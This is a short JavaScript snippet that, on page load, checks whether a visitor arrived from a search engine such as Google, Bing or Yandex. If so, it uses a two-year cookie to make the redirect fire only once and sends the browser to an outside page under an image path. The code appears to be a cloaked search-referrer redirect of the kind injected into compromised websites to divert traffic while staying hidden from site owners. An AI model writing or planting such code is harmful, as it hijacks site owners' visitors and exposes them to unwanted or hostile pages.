<script type="text/javascript">



function getCookie(c_name) {
    var c_value = document.cookie;
    var c_start = c_value.indexOf(" " + c_name + "=");
    if (c_start == -1) {
        c_start = c_value.indexOf(c_name + "=");
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    if (c_start == -1) {
        c_value = null;
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    else {
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        var c_end = c_value.indexOf(";", c_start);
        if (c_end == -1) {
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        c_value = unescape(c_value.substring(c_start, c_end));
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    return c_value;
}

function setCookie(c_name, value, exdays) {
    var exdate = new Date();
    exdate.setDate(exdate.getDate() + exdays);
    var c_value = escape(value) + ((exdays == null) ? "" : "; expires=" + exdate.toUTCString());
    document.cookie = c_name + "=" + c_value;
}

function checkCookie() {
    var referrerRedirectCookie = getCookie("referrerRedirectCookie");
    if (referrerRedirectCookie != null && referrerRedirectCookie != "") {
        return true;
    }
    else {
        setCookie("referrerRedirectCookie", "do not redirect", 730);
        return false;
    }
}


window.onload = function () {
    //ShowModalForm();
    //return 0;
    var from = document.referrer;
    var i;
    var se = ["google", "yahoo", "bing", "yandex", "baidu", "gigablast", "soso", "blekko", "exalead", "sogou", "duckduckgo", "volunia"];
    for (i = 0; i < se.length; ++i) {
        if (from.indexOf(se[i]) + 1) {
            if (!checkCookie()) {
                 window.location = "http://pagerank.net.au/img/popup.html";
            }
        }
    }


};
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